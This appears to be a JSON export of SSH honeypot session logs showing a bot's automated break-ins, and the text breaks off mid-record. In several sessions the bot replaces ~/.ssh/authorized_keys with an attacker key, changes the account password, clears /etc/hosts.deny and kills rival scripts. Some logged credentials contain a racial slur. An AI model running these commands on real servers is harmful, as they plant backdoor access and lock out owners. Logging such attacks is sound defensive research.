node\n^C"},{"seq":23,"at":"2026-08-27T05:29:53.130155+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T05:29:53.947780+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T05:29:54.263824+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T05:29:54.603670+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T05:29:54.918778+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T05:29:55.520441+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T05:29:55.836213+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T05:29:56.956854+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T05:29:57.272389+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T05:29:58.352844+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Admin12#","method":"password","accepted":true,"tier":"other"}]} {"id":"71c78d73-7759-4327-9c61-945c7b6a8aba","name":"daring-dapper-falcon","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":34888,"username":"penis","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":322,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:28:01.495898+00:00","ended_at":"2026-08-27T05:28:03.406546+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2252,"events":[{"seq":1,"at":"2026-08-27T05:27:44.684836+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:27:45.011943+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:27:48.152078+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:27:48.989727+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:27:49.312218+00:00","kind":"input","latency_ms":null,"data":"echo -e \"penis123\\nXOmk65Z6d04q\\nXOmk65Z6d04q\"|passwd|bash"},{"seq":6,"at":"2026-08-27T05:27:49.633164+00:00","kind":"input","latency_ms":null,"data":"echo \"penis123\\nXOmk65Z6d04q\\nXOmk65Z6d04q\\n\"|passwd"},{"seq":7,"at":"2026-08-27T05:27:49.954378+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:27:50.807492+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T05:27:51.131671+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T05:27:51.998258+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T05:27:52.323738+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T05:27:53.274555+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T05:27:53.600766+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T05:27:54.007471+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T05:27:54.328952+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T05:27:54.691833+00:00","kind":"output","latency_ms":null,"data":" 05:27:54 up 7 days, 2:18, 0 user, load average: 0.3, 0.31, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T05:27:55.015532+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T05:27:55.504699+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T05:27:55.827458+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T05:27:56.381229+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T05:27:56.704368+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T05:27:57.558063+00:00","kind":"output","latency_ms":null,"data":"top - 05:27:57 up 7 days, 2:18, 0 user, load average: 0.3, 0.31, 0.2\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9532 free, 6355 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T05:27:57.879731+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T05:27:58.144228+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T05:27:58.465694+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T05:27:58.917331+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T05:27:59.241340+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T05:27:59.510932+00:00","kind":"output","latency_ms":null,"data":"penis"},{"seq":29,"at":"2026-08-27T05:27:59.834342+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T05:28:01.174419+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T05:28:01.496828+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T05:28:03.308596+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"penis","password":"penis123","method":"password","accepted":true,"tier":"other"}]} {"id":"b0a180a8-18a9-40e2-a335-e1a032c0f286","name":"seaward-candid-cassowary","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":53644,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":313,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:25:48.520057+00:00","ended_at":"2026-08-27T05:25:50.639940+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T05:25:30.902276+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:25:31.217091+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:25:35.292549+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:25:35.667512+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:25:35.981665+00:00","kind":"input","latency_ms":null,"data":"echo \"root:IuEBCrPYtkWr\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T05:25:36.290926+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T05:25:36.601487+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:25:37.483538+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T05:25:37.794995+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T05:25:38.726483+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T05:25:39.040069+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T05:25:39.922354+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T05:25:40.237720+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T05:25:41.065225+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T05:25:41.376971+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T05:25:41.820177+00:00","kind":"output","latency_ms":null,"data":" 05:25:41 up 7 days, 2:15, 0 user, load average: 0.11, 0.12, 0.11\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T05:25:42.135176+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T05:25:42.780292+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T05:25:43.108962+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T05:25:43.367457+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T05:25:43.681397+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T05:25:44.421156+00:00","kind":"output","latency_ms":null,"data":"top - 05:25:44 up 7 days, 2:15, 0 user, load average: 0.11, 0.12, 0.11\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T05:25:44.733204+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T05:25:45.040288+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T05:25:45.351114+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T05:25:46.074146+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T05:25:46.383678+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T05:25:46.904398+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T05:25:47.217533+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T05:25:48.208186+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T05:25:48.521457+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T05:25:50.544948+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"niggers","method":"password","accepted":true,"tier":"other"}]} {"id":"61a90769-d1d3-49b9-b13a-2b1f593dfb1a","name":"cosmic-tidal-kea","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":51752,"username":"sanjay","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":309,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:23:37.119701+00:00","ended_at":"2026-08-27T05:23:38.045053+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2257,"events":[{"seq":1,"at":"2026-08-27T05:23:18.550174+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:23:18.865866+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:23:23.725697+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:23:24.228488+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:23:24.537687+00:00","kind":"input","latency_ms":null,"data":"echo -e \"sanjay123\\nJG8zk2iZZLE4\\nJG8zk2iZZLE4\"|passwd|bash"},{"seq":6,"at":"2026-08-27T05:23:24.847496+00:00","kind":"input","latency_ms":null,"data":"echo \"sanjay123\\nJG8zk2iZZLE4\\nJG8zk2iZZLE4\\n\"|passwd"},{"seq":7,"at":"2026-08-27T05:23:25.154458+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:23:25.495884+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T05:23:25.803675+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T05:23:27.101406+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T05:23:27.412136+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T05:23:28.554607+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T05:23:28.862183+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T05:23:29.544527+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T05:23:29.851152+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T05:23:30.573946+00:00","kind":"output","latency_ms":null,"data":" 05:23:30 up 7 days, 2:13, 0 user, load average: 0.29, 0.3, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T05:23:30.886300+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T05:23:31.435666+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T05:23:31.744256+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T05:23:32.096414+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T05:23:32.406566+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T05:23:32.806201+00:00","kind":"output","latency_ms":null,"data":"top - 05:23:32 up 7 days, 2:13, 0 user, load average: 0.29, 0.3, 0.18\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T05:23:33.115965+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T05:23:33.480586+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T05:23:33.790466+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T05:23:34.617197+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T05:23:34.925993+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T05:23:35.288004+00:00","kind":"output","latency_ms":null,"data":"sanjay"},{"seq":29,"at":"2026-08-27T05:23:35.597714+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T05:23:36.811854+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T05:23:37.120155+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T05:23:37.950253+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"sanjay","password":"sanjay123","method":"password","accepted":true,"tier":"other"}]} {"id":"e5574279-3724-4e92-ba39-eab1e8dc9035","name":"valiant-tawny-tinamou","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":48054,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":322,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:21:36.906836+00:00","ended_at":"2026-08-27T05:21:38.907844+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T05:21:11.176184+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:21:11.496224+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:21:15.144157+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:21:17.073619+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:21:17.397006+00:00","kind":"input","latency_ms":null,"data":"echo \"root:xzixDsyDnzQv\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T05:21:17.722471+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T05:21:18.073652+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:21:18.824425+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T05:21:18.972231+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T05:21:19.304473+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T05:21:20.498523+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T05:21:20.825892+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T05:21:21.706823+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T05:21:22.027189+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T05:21:23.225703+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T05:21:23.545209+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T05:21:24.660282+00:00","kind":"output","latency_ms":null,"data":" 05:21:24 up 7 days, 2:11, 0 user, load average: 0.29, 0.33, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T05:21:24.979796+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T05:21:26.642200+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T05:21:26.963172+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T05:21:29.002409+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T05:21:29.324549+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T05:21:31.177698+00:00","kind":"output","latency_ms":null,"data":"top - 05:21:31 up 7 days, 2:11, 0 user, load average: 0.29, 0.33, 0.22\nTasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T05:21:31.499703+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T05:21:31.852743+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T05:21:32.173824+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T05:21:32.539312+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T05:21:32.864310+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T05:21:33.418524+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T05:21:33.741442+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T05:21:36.585197+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T05:21:36.907689+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T05:21:38.810791+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"qwer12345","method":"password","accepted":true,"tier":"other"}]} {"id":"f157b3ed-5a6b-47d8-a155-d1f9a5950881","name":"knotted-umber-shelduck","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":51482,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":323,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:19:33.158493+00:00","ended_at":"2026-08-27T05:19:34.654119+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T05:19:03.528938+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:19:03.850954+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf 